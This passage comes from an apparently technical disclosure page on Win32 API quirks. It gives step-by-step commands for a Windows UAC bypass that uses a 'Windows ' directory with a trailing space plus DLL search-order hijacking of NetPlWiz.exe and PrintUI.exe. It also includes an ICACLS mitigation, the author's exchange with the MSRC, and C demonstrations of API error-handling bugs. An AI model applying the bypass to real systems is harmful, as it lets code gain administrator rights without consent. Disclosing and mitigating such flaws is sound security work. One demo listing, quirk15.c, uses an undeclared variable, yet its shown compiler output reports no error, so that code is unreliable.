  8. Copy MMC.exe, NetPlWiz.exe and PrintUI.exe into an (arbitrary) subdirectory of the systems’ TEMP directory %SystemRoot%\Temp\, then execute these copies to trigger a (now yellow) UAC prompt that shows Publisher: Unknown:

    MKDIR Temp\Example
    COPY System32\MMC.exe Temp\Example\MMC.exe
    Temp\Example\MMC.exe
    COPY System32\NetPlWiz.exe Temp\Example\NetPlWiz.exe
    Temp\Example\NetPlWiz.exe
    COPY System32\PrintUI.exe Temp\Example\PrintUI.exe
    Temp\Example\PrintUI.exe
    RMDIR /Q /S Temp\Example
    Note: the digital signatures of almost all files shipped with Windows are not embedded in these files, but stored in separate catalog files %SystemRoot%\System32\CatRoot\{00000000-0000-0000-0000-000000000000}\*.cat, %SystemRoot%\System32\CatRoot\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\*.cat and %SystemRoot%\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\*.cat; an index of the signatures’ hashes is maintained in the catalog database files %SystemRoot%\System32\CatRoot2\{00000000-0000-0000-0000-000000000000}\catdb, %SystemRoot%\System32\CatRoot2\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\catdb and %SystemRoot%\System32\CatRoot2\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\catdb.

    (Not only) UAC validates these detached digital signatures independent of the actual file name, and with some exceptions, for example in an untrusted directory like %SystemRoot%\Temp\, also independent of the actual path name.

  9. Create the directory Windows \ in the root directory of the system drive, copy MMC.exe, NetPlWiz.exe and PrintUI.exe into it, execute the copy of MMC.exe to trigger a (blue) UAC prompt that shows Publisher: Unknown, then execute NetPlWiz.exe and PrintUI.exe to load NetPlWiz.dll and PrintUI.dll which display their dialog boxes without triggering a UAC prompt:

    MKDIR "%SystemRoot% "
    COPY System32\MMC.exe "%SystemRoot% \MMC.exe"
    "%SystemRoot% \MMC.exe"
    COPY System32\NetPlWiz.exe "%SystemRoot% \NetPlWiz.exe"
    "%SystemRoot% \NetPlWiz.exe"
    COPY System32\PrintUI.exe "%SystemRoot% \PrintUI.exe"
    "%SystemRoot% \PrintUI.exe"
    Ouch: due to the bugs in the Win32 functions FindFirstFile(), GetFullPathName(), GetLongPathName() and GetShortPathName() demonstrated above, UAC misidentifies %SystemRoot% \ as trusted directory and performs auto-elevation!

    Note: UAC exhibits this vulnerability (at least) in the directories
    %SystemRoot% \,
    %SystemRoot% .\,
    %SystemRoot% . \, %SystemRoot%. \,
    %SystemRoot% . \, %SystemRoot%. \,
    %SystemRoot% . \, %SystemRoot%. \.

  10. [Screen shot of error message for NTSTATUS 0xC0000139 alias STATUS_ENTRYPOINT_NOT_FOUND] Copy ShUnimpl.dll as NetPlWiz.dll and PrintUI.dll into the directory Windows \, then execute the copies of the auto-elevating NetPlWiz.exe and PrintUI.exe again:

    COPY System32\ShUnimpl.dll "%SystemRoot% \NetPlWiz.dll"
    "%SystemRoot% \NetPlWiz.exe"
    System32\CertUtil.exe /ERROR %ERRORLEVEL%
    COPY System32\ShUnimpl.dll "%SystemRoot% \PrintUI.dll"
    "%SystemRoot% \PrintUI.exe"
    ECHO %ERRORLEVEL%
    System32\Net.exe HELPMSG %ERRORLEVEL%
            1 file(s) copied.
    0xc0000139 (NT: 0xc0000139 STATUS_ENTRYPOINT_NOT_FOUND) -- 3221225785 (-1073741511)
    Error message text: {Entry Point Not Found}
    The procedure entry point %hs could not be located in the dynamic link library %hs.
    CertUtil: -error command completed successfully.
            1 file(s) copied.
    1114
    
    A dynamic link library (DLL) initialization routine failed.
    OUCH: (like almost all applications shipped with Windows) NetPlWiz.exe and PrintUI.exe are vulnerable to CWE-426: Untrusted Search Path and CWE-427: Uncontrolled Search Path Element, and susceptible to CAPEC-471: Search Order Hijacking; they load and execute (at least) an arbitrary (unsigned) NetPlWiz.dll respectively PrintUI.dll from their (untrusted and user-writable) application directory %SystemRoot% \ instead from Windows’ system directory %SystemRoot%\System32\, allowing arbitrary code execution with administrative privileges and access rights!

    Note: if Microsoft’s developers were not so careless, clueless and sloppy, their quality miserability assurance not sound asleep, and their managers not completely incompetent and ignorant, they would have read for example the MSRC blog post Load Library Safely, the MSKB articles 2389418 and 2533623, the Security Advisory 2269637, the MSDN articles Dynamic-Link Library Security and Dynamic-Link Library Search Order, then exercised defense in depth and fixed their crap long ago to inhibit such attacks!

    Note: NetPlWiz.dll is a static (load-time) dependency of NetPlWiz.exe, and PrintUI.dll is a run-time dependency of PrintUI.exe.

    Note: building a DLL that loads and executes arbitrary code is left as an exercise to the reader.

  11. Clean up:

    RMDIR /Q /S "%SystemRoot% "
    EXIT

Mitigation

Remove the permission for unprivileged users (really: members of the NT AUTHORITY\Authenticated Users or BUILTIN\Users groups) to create subdirectories in the root directory of the system drive:
ICACLs.exe "%SystemDrive%\\" /Deny *S-1-5-32-545:(AD,WD) /Remove:d *S-1-5-32-545 /Remove:g *S-1-5-11
Note: the 2 backslashes are necessary due to their special handling in front of a quotation mark.

MSRC Case 64465

Due to their security impact I reported these bugs to the MSRC where case number 64465 was assigned.

They replied with the following statements:

Thank you again for your patience during our investigation. The team was performing thorough analysis to ensure we didn't overlook any aspects of your report. Our analysts have completed their assessment, and in our investigation, we have determined that this is a UAC bypass, but only for accounts that already have administrator privileges.

[…]

Based on these results, we do not see a UAC bypass occurring unless the user already has administrator privileges. Based on our bug bar found here - https://aka.ms/windowsbugbar - and the defense-in-depth section of our servicing criteria found here - https://aka.ms/windowscriteria - this does not meet our bar for immediate servicing with a security update. We have opened a tracking bug for the development team, and they may address this in a future release of Windows, but we will not be releasing an update as part of our Patch Tuesday security releases.

I will be closing this case, but we appreciate the opportunity to review your research through coordinated disclosure, and you are free to publish your findings.

Ouch¹: the exploit works without administrator privileges!

Ouch²: in default installations of Windows this UAC bypass can be silently exercised by every unprivileged process that runs in the (primary) user account created during Windows Setup, which Jane and Joe Average typically use for their everyday work!

Ouch³: even if Jane and Joe Average create and use a secondary (unprivileged) standard user account they might very likely be fooled by the blue UAC prompt that shows Verified Publisher: Microsoft Windows.

Note: UAC (and SAFER alias Software Restriction Policies too) is the victim here; the vulnerability results from bugs in the Win32 functions GetFullPathName(), GetLongPathName() and GetShortPathName() coupled with insecure loading of DLLs!

Quirk № 14

The Win32 functions GetOpenClipboardWindow(), GetWindow() and GetWindowModuleFileName() are documented in the MSDN as follows:
Retrieves the handle to the window that currently has the clipboard open.
HWND GetOpenClipboardWindow();
[…]

If the function succeeds, the return value is the handle to the window that has the clipboard open. If no window has the clipboard open, the return value is NULL. To get extended error information, call GetLastError.

Retrieves a handle to a window that has the specified relationship (Z-Order or owner) to the specified window.
HWND GetWindow(
  HWND hWnd,
  UINT uCmd
);
[…]
Value Meaning
GW_ENABLEDPOPUP
6
The retrieved handle identifies the enabled popup window owned by the specified window (the search uses the first such window found using GW_HWNDNEXT); otherwise, if there are no enabled popup windows, the retrieved handle is that of the specified window.
[…]

If the function succeeds, the return value is a window handle. If no window exists with the specified relationship to the specified window, the return value is NULL. To get extended error information, call GetLastError.

Retrieves the full path and file name of the module associated with the specified window handle.
UINT GetWindowModuleFileName(
  HWND   hwnd,
  LPTSTR pszFileName,
  UINT   cchFileNameMax
);
[…]

The return value is the total number of characters copied into the buffer.

Note: the last documentation fails to specify error conditions and restrictions!

Demonstration

Perform the following 3 simple steps to show the inconsistent (mis)behaviour.
  1. Create the text file quirk14.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2024, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    __declspec(safebuffers)
    BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
    {
    	WCHAR	szOutput[1024];
    	DWORD	dwOutput;
    	DWORD	dwConsole;
    
    	va_list	vaInput;
    	va_start(vaInput, lpFormat);
    
    	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
    
    	va_end(vaInput);
    
    	if (dwOutput == 0)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwOutput;
    }
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	WCHAR	szBuffer[MAX_PATH];
    	DWORD	dwBuffer;
    	DWORD	dwError = ERROR_SUCCESS;
    	HWND	hWindow = HWND_DESKTOP;
    	HANDLE	hConsole = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hConsole == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		hWindow = GetWindow(hWindow, GW_ENABLEDPOPUP);
    
    		if (hWindow == NULL)
    			PrintConsole(hConsole,
    			             L"GetWindow() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			dwBuffer = GetWindowModuleFileName(hWindow, szBuffer, sizeof(szBuffer) / sizeof(*szBuffer));
    
    			if (dwBuffer == 0)
    				PrintConsole(hConsole,
    				             L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
    				             hWindow, dwError = GetLastError());
    			else
    				PrintConsole(hConsole,
    				             L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
    				             hWindow, szBuffer, dwBuffer);
    		}
    
    		hWindow = GetActiveWindow();
    
    		if (hWindow == NULL)
    			PrintConsole(hConsole,
    			             L"GetActiveWindow() returned NULL\n");
    		else
    		{
    			dwBuffer = GetWindowModuleFileName(hWindow, szBuffer, sizeof(szBuffer) / sizeof(*szBuffer));
    
    			if (dwBuffer == 0)
    				PrintConsole(hConsole,
    				             L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
    				             hWindow, dwError = GetLastError());
    			else
    				PrintConsole(hConsole,
    				             L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
    				             hWindow, szBuffer, dwBuffer);
    		}
    
    		hWindow = GetConsoleWindow();
    
    		if (hWindow == NULL)
    			PrintConsole(hConsole,
    			             L"GetConsoleWindow() returned NULL\n");
    		else
    		{
    			dwBuffer = GetWindowModuleFileName(hWindow, szBuffer, sizeof(szBuffer) / sizeof(*szBuffer));
    
    			if (dwBuffer == 0)
    				PrintConsole(hConsole,
    				             L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
    				             hWindow, dwError = GetLastError());
    			else
    				PrintConsole(hConsole,
    				             L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
    				             hWindow, szBuffer, dwBuffer);
    		}
    
    		SetLastError('FAIL');
    
    		hWindow = GetDesktopWindow();
    
    		if (hWindow == NULL)
    			PrintConsole(hConsole,
    			             L"GetDesktopWindow() returned NULL\n");
    		else
    		{
    			dwBuffer = GetWindowModuleFileName(hWindow, szBuffer, sizeof(szBuffer) / sizeof(*szBuffer));
    
    			if (dwBuffer == 0)
    				PrintConsole(hConsole,
    				             L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
    				             hWindow, dwError = GetLastError());
    			else
    				PrintConsole(hConsole,
    				             L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
    				             hWindow, szBuffer, dwBuffer);
    		}
    
    		hWindow = GetForegroundWindow();
    
    		if (hWindow == NULL)
    			PrintConsole(hConsole,
    			             L"GetForegroundWindow() returned NULL\n");
    		else
    		{
    			dwBuffer = GetWindowModuleFileName(hWindow, szBuffer, sizeof(szBuffer) / sizeof(*szBuffer));
    
    			if (dwBuffer == 0)
    				PrintConsole(hConsole,
    				             L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
    				             hWindow, dwError = GetLastError());
    			else
    				PrintConsole(hConsole,
    				             L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
    				             hWindow, szBuffer, dwBuffer);
    		}
    
    		SetLastError('FAIL');
    
    		hWindow = GetOpenClipboardWindow();
    
    		if (hWindow == NULL)
    			PrintConsole(hConsole,
    			             L"GetOpenClipboardWindow() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			dwBuffer = GetWindowModuleFileName(hWindow, szBuffer, sizeof(szBuffer) / sizeof(*szBuffer));
    
    			if (dwBuffer == 0)
    				PrintConsole(hConsole,
    				             L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
    				             hWindow, dwError = GetLastError());
    			else
    				PrintConsole(hConsole,
    				             L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
    				             hWindow, szBuffer, dwBuffer);
    		}
    
    		hWindow = GetShellWindow();
    
    		if (hWindow == NULL)
    			PrintConsole(hConsole,
    			             L"GetShellWindow() returned NULL\n");
    		else
    		{
    			dwBuffer = GetWindowModuleFileName(hWindow, szBuffer, sizeof(szBuffer) / sizeof(*szBuffer));
    
    			if (dwBuffer == 0)
    				PrintConsole(hConsole,
    				             L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
    				             hWindow, dwError = GetLastError());
    			else
    				PrintConsole(hConsole,
    				             L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
    				             hWindow, szBuffer, dwBuffer);
    		}
    
    		hWindow = GetTopWindow(HWND_DESKTOP);
    
    		if (hWindow == NULL)
    			PrintConsole(hConsole,
    			             L"GetTopWindow() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			dwBuffer = GetWindowModuleFileName(hWindow, szBuffer, sizeof(szBuffer) / sizeof(*szBuffer));
    
    			if (dwBuffer == 0)
    				PrintConsole(hConsole,
    				             L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
    				             hWindow, dwError = GetLastError());
    			else
    				PrintConsole(hConsole,
    				             L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
    				             hWindow, szBuffer, dwBuffer);
    		}
    
    		SetLastError('FAIL');
    
    		hWindow = GetWindow(hWindow, GW_ENABLEDPOPUP);
    
    		if (hWindow == NULL)
    			PrintConsole(hConsole,
    			             L"GetWindow() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			dwBuffer = GetWindowModuleFileName(hWindow, szBuffer, sizeof(szBuffer) / sizeof(*szBuffer));
    
    			if (dwBuffer == 0)
    				PrintConsole(hConsole,
    				             L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
    				             hWindow, dwError = GetLastError());
    			else
    				PrintConsole(hConsole,
    				             L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
    				             hWindow, szBuffer, dwBuffer);
    		}
    
    		dwBuffer = GetWindowModuleFileName(hWindow = HWND_BOTTOM, szBuffer, sizeof(szBuffer) / sizeof(*szBuffer));
    
    		if (dwBuffer == 0)
    			PrintConsole(hConsole,
    			             L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
    			             hWindow, dwError = GetLastError());
    		else
    			PrintConsole(hConsole,
    			             L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
    			             hWindow, szBuffer, dwBuffer);
    
    		dwBuffer = GetWindowModuleFileName(hWindow = HWND_TOP, szBuffer, sizeof(szBuffer) / sizeof(*szBuffer));
    
    		if (dwBuffer == 0)
    			PrintConsole(hConsole,
    			             L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
    			             hWindow, dwError = GetLastError());
    		else
    			PrintConsole(hConsole,
    			             L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
    			             hWindow, szBuffer, dwBuffer);
    
    		dwBuffer = GetWindowModuleFileName(hWindow = HWND_TOPMOST, szBuffer, sizeof(szBuffer) / sizeof(*szBuffer));
    
    		if (dwBuffer == 0)
    			PrintConsole(hConsole,
    			             L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
    			             hWindow, dwError = GetLastError());
    		else
    			PrintConsole(hConsole,
    			             L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
    			             hWindow, szBuffer, dwBuffer);
    
    		dwBuffer = GetWindowModuleFileName(hWindow = HWND_NOTOPMOST, szBuffer, sizeof(szBuffer) / sizeof(*szBuffer));
    
    		if (dwBuffer == 0)
    			PrintConsole(hConsole,
    			             L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
    			             hWindow, dwError = GetLastError());
    		else
    			PrintConsole(hConsole,
    			             L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
    			             hWindow, szBuffer, dwBuffer);
    
    		if (!CloseHandle(hConsole))
    			PrintConsole(hConsole,
    			             L"CloseHandle() returned error %lu\n",
    			             GetLastError());
    	}
    
    	ExitProcess(dwError);
    }
  2. Build the console application quirk14.exe from the source file quirk14.c created in step 1.:

    SET CL=/GAFy /Oisy /W4 /Zl
    SET LINK=/DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    CL.EXE quirk14.c
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk14.exe is a pure Win32 console application and builds without the MSVCRT libraries.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk14.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk14.exe
    quirk14.obj
  3. Execute the console application quirk14.exe built in step 2. to demonstrate the inconsistent (mis)behaviour:

    .\quirk14.exe
    IF ERRORLEVEL 1 NET.EXE HELPMSG %ERRORLEVEL%
    GetWindow() returned error 1400
    GetActiveWindow() returned NULL
    GetWindowModuleFileName(0x0025021C, …) returned pathname 'C:\Users\Stefan\Desktop\quirk14.exe' of 35 characters
    GetWindowModuleFileName(0x00010010, …) returned error 1178683724
    GetWindowModuleFileName(0x0025021C, …) returned pathname 'C:\Users\Stefan\Desktop\quirk14.exe' of 35 characters
    GetOpenClipboardWindow() returned error 1178683724
    GetWindowModuleFileName(0x00020104, …) returned error 1178683724
    GetWindowModuleFileName(0x035D0EA0, …) returned pathname 'C:\Users\Stefan\Desktop\quirk14.exe' of 35 characters
    GetWindow() returned error 1178683724
    GetWindowModuleFileName(0x00000001, …) returned error 1400
    GetWindowModuleFileName(0x00000000, …) returned error 1400
    GetWindowModuleFileName(0xFFFFFFFF, …) returned error 1400
    GetWindowModuleFileName(0xFFFFFFFE, …) returned error 1400
    
    Invalid window handle.
    OUCH¹: the Win32 function GetWindow() does not support the pseudo handle HWND_DESKTOP alias NULL, but returns NULL with Win32 error code 1400 alias ERROR_INVALID_WINDOW_HANDLE set!

    OUCH²: it does not return the handle of the specified window if this does not own an enabled popup window, but NULL and fails to set the Win32 error code!

    OUCH³: it returns NULL but fails to set the Win32 error code if no window with the specified relationship exists!

    Note: the Win32 function GetWindowModuleFileName() returns 0 and does not modify the buffer in case of failure!

    OUCH⁴: it returns the path name of the calling console application although this did not create the window!

    OUCH⁵: it returns 0 but fails to set the Win32 error code if the window was created in another process, except for the console window!

    OUCH⁶: it does not support the pseudo handles HWND_BOTTOM, HWND_TOP alias HWND_DESKTOP, HWND_TOPMOST and HWND_NOTOPMOST, but returns 0 with Win32 error code 1400 alias ERROR_INVALID_WINDOW_HANDLE set!

    OUCH⁷: the Win32 function GetOpenClipboardWindow() returns NULL but fails to set the Win32 error if the clipboard is not opened by a window!

Note: the repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Quirk № 15

The Win32 functions GetDefaultPrinter(), GetPrinterDriverDirectory() and GetPrintProcessorDirectory() are documented in the MSDN as follows:
The GetDefaultPrinter function retrieves the printer name of the default printer for the current user on the local computer.
BOOL GetDefaultPrinter(
  LPTSTR  pszBuffer,
  LPDWORD pcchBuffer
);
[…]
pszBuffer
A pointer to a buffer that receives a null-terminated character string containing the default printer name. If this parameter is NULL, the function fails and the variable pointed to by pcchBuffer returns the required buffer size, in characters.
[…]

If the function succeeds, the return value is a nonzero value and the variable pointed to by pcchBuffer contains the number of characters copied to the pszBuffer buffer, including the terminating null character.

If the function fails, the return value is zero.

Value Meaning
ERROR_INSUFFICIENT_BUFFER The pszBuffer buffer is too small. The variable pointed to by pcchBuffer contains the required buffer size, in characters.
ERROR_FILE_NOT_FOUND There is no default printer.
Oops: the documentation does not state explicitly that extended error information is available through a call of the GetLastError() function!
The GetPrinterDriverDirectory function retrieves the path of the printer-driver directory.
BOOL GetPrinterDriverDirectory(
  LPTSTR  pName,
  LPTSTR  pEnvironment,
  DWORD   Level,
  LPBYTE  pDriverDirectory,
  DWORD   cbBuf,
  LPDWORD pcbNeeded
);
[…]
pEnvironment
A pointer to a null-terminated string that specifies the environment (for example, Windows x86, Windows IA64, or Windows x64). If this parameter is NULL, the current environment of the calling application and client machine (not of the destination application and print server) is used.
pcbNeeded
A pointer to a value that specifies the number of bytes copied if the function succeeds, or the number of bytes required if cbBuf is too small.
[…]

If the function succeeds, the return value is a nonzero value.

If the function fails, the return value is zero.

[…]

Requirement Value
[…]
Unicode and ANSI names GetPrinterDriverDirectoryW (Unicode) and GetPrinterDriverDirectoryA (ANSI)
Ouch: although the Win32 function GetPrinterDriverDirectory() is provided for Unicode and ANSI, its output buffer is declared as array of bytes instead array of characters, and the size is counted in bytes instead characters!
The GetPrintProcessorDirectory function retrieves the path to the print processor directory on the specified server.
BOOL GetPrintProcessorDirectory(
  LPTSTR  pName,
  LPTSTR  pEnvironment,
  DWORD   Level,
  LPBYTE  pPrintProcessorInfo,
  DWORD   cbBuf,
  LPDWORD pcbNeeded
);
[…]
pEnvironment
A pointer to a null-terminated string that specifies the environment (for example, Windows x86, Windows IA64, or Windows x64). If this parameter is NULL, the current environment of the calling application and client machine (not of the destination application and print server) is used.
pcbNeeded
A pointer to a value that specifies the number of bytes copied if the function succeeds, or the number of bytes required if cbBuf is too small.
[…]

If the function succeeds, the return value is a nonzero value.

If the function fails, the return value is zero.

[…]

Requirement Value
[…]
Unicode and ANSI names GetPrintProcessorDirectoryW (Unicode) and GetPrintProcessorDirectoryA (ANSI)
Ouch: although the Win32 function GetPrintProcessorDirectory() is provided for Unicode and ANSI, its output buffer is declared as array of bytes instead array of characters, and the size is counted in bytes instead characters!

Demonstration

Perform the following 3 simple steps to show the (mis)behaviour.
  1. Create the text file quirk15.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2024, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    #include <winspool.h>
    
    __declspec(safebuffers)
    BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
    {
    	WCHAR	szOutput[1024];
    	DWORD	dwOutput;
    	DWORD	dwConsole;
    
    	va_list	vaInput;
    	va_start(vaInput, lpFormat);
    
    	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
    
    	va_end(vaInput);
    
    	if (dwOutput == 0)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwOutput;
    }
    
    const	LPCWSTR	lpEnvironment[] = {L"", L"Windows 4.0", L"Windows NT x86", L"Windows IA64", L"Windows x64", L"Windows x86"};
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	WCHAR	szBuffer[MAX_PATH];
    	DWORD	dwBuffer = sizeof(szBuffer) / sizeof(*szBuffer);
    	DWORD	dwEnvironment = 0;
    	DWORD	dwError = ERROR_SUCCESS;
    	HANDLE	hConsole = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hConsole == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		if (!GetDefaultPrinter(szBuffer, &dwBuffer))
    			PrintConsole(hConsole,
    			             L"GetDefaultPrinter() returned error %lu (%lu)\n",
    			             dwError = GetLastError(), dwBuffer);
    		else
    			PrintConsole(hConsole,
    			             L"GetDefaultPrinter() returned name \'%ls\' of %lu characters\n",
    			             szBuffer, dwBuffer);
    
    		if (!GetPrinterDriverDirectory((LPWSTR) NULL,
    		                               (LPWSTR) NULL,
    		                               1,
    		                               szBuffer,
    		                               0,
    		                               &dwBuffer))
    			PrintConsole(hConsole,
    			             L"GetPrinterDriverDirectory() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    			PrintConsole(hConsole,
    			             L"GetPrinterDriverDirectory() returned pathname \'%ls\' of %lu bytes\n",
    			             szBuffer, dwBuffer);
    
    		do
    			if (!GetPrinterDriverDirectory((LPWSTR) NULL,
    			                               lpEnvironment[dw],
    			                               1,
    			                               szBuffer,
    			                               sizeof(szBuffer),
    			                               &dwBuffer))
    				PrintConsole(hConsole,
    				             L"GetPrinterDriverDirectory() returned error %lu for environment \'%ls\'\n",
    				             dwError = GetLastError(), lpEnvironment[dw]);
    			else
    				PrintConsole(hConsole,
    				             L"GetPrinterDriverDirectory() returned pathname \'%ls\' of %lu bytes for environment \'%ls\'\n",
    				             szBuffer, dwBuffer, lpEnvironment[dw]);
    		while (++dwEnvironment < sizeof(lpEnvironment) / sizeof(*lpEnvironment));
    
    		if (!GetPrintProcessorDirectory((LPWSTR) NULL,
    		                                (LPWSTR) NULL,
    		                                1,
    		                                NULL,
    		                                sizeof(szBuffer),
    		                                &dwBuffer))
    			PrintConsole(hConsole,
    			             L"GetPrintProcessorDirectory() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    			PrintConsole(hConsole,
    			             L"GetPrintProcessorDirectory() returned pathname \'%ls\' of %lu bytes\n",
    			             szBuffer, dwBuffer);
    
    		dwEnvironment = 0;
    
    		do
    			if (!GetPrintProcessorDirectory((LPWSTR) NULL,
    			                                lpEnvironment[dw],
    			                                1,
    			                                szBuffer,
    			                                sizeof(szBuffer),
    			                                &dwBuffer))
    				PrintConsole(hConsole,
    				             L"GetPrintProcessorDirectory() returned error %lu for environment \'%ls\'\n",
    				             dwError = GetLastError(), lpEnvironment[dw]);
    			else
    				PrintConsole(hConsole,
    				             L"GetPrintProcessorDirectory() returned pathname \'%ls\' of %lu bytes for environment \'%ls\'\n",
    				             szBuffer, dwBuffer, lpEnvironment[dw]);
    		while (++dwEnvironment < sizeof(lpEnvironment) / sizeof(*lpEnvironment));
    
    		if (!CloseHandle(hConsole))
    			PrintConsole(hConsole,
    			             L"CloseHandle() returned error %lu\n",
    			             GetLastError());
    	}
    
    	ExitProcess(dwError);
    }
  2. Build the console application quirk15.exe from the source file quirk15.c created in step 1.:

    SET CL=/GAFy /Oisy /W4 /Zl
    SET LINK=/DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /DEFAULTLIB:winspool.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    CL.EXE quirk15.c
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk15.exe is a pure Win32 console application and builds without the MSVCRT libraries.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk15.c
    quirk15.c(60) : warning C4133: 'function' : incompatible types - from 'WCHAR [260]' to 'LPBYTE'
    quirk15.c(75) : warning C4133: 'function' : incompatible types - from 'WCHAR [260]' to 'LPBYTE'
    quirk15.c(104) : warning C4133: 'function' : incompatible types - from 'WCHAR [260]' to 'LPBYTE'
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /DEFAULTLIB:winspool.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk15.exe
    quirk15.obj
  3. Execute the console application quirk15.exe built in step 2. to demonstrate the (mis)behaviour:

    .\quirk15.exe
    NET.EXE HELPMSG %ERRORLEVEL%
    GetDefaultPrinter() returned name 'Microsoft XPS Document Writer' of 30 characters
    GetPrinterDriverDirectory() returned error 122
    GetPrinterDriverDirectory() returned pathname 'C:\Windows\system32\spool\DRIVERS\x64' of 76 bytes for environment ''
    GetPrinterDriverDirectory() returned pathname 'C:\Windows\system32\spool\DRIVERS\WIN40' of 80 bytes for environment 'Windows 4.0'
    GetPrinterDriverDirectory() returned pathname 'C:\Windows\system32\spool\DRIVERS\W32X86' of 82 bytes for environment 'Windows NT x86'
    GetPrinterDriverDirectory() returned pathname 'C:\Windows\system32\spool\DRIVERS\IA64' of 78 bytes for environment 'Windows IA64'
    GetPrinterDriverDirectory() returned pathname 'C:\Windows\system32\spool\DRIVERS\x64' of 76 bytes for environment 'Windows x64'
    GetPrinterDriverDirectory() returned error 1805 for environment 'Windows x86'
    GetPrintProcessorDirectory() returned error 1784
    GetPrintProcessorDirectory() returned pathname 'C:\Windows\system32\spool\PRTPROCS\x64' of 78 bytes for environment ''
    GetPrintProcessorDirectory() returned pathname 'C:\Windows\system32\spool\PRTPROCS\WIN40' of 82 bytes for environment 'Windows 4.0'
    GetPrintProcessorDirectory() returned pathname 'C:\Windows\system32\spool\PRTPROCS\W32X86' of 84 bytes for environment 'Windows NT x86'
    GetPrintProcessorDirectory() returned pathname 'C:\Windows\system32\spool\PRTPROCS\IA64' of 80 bytes for environment 'Windows IA64'
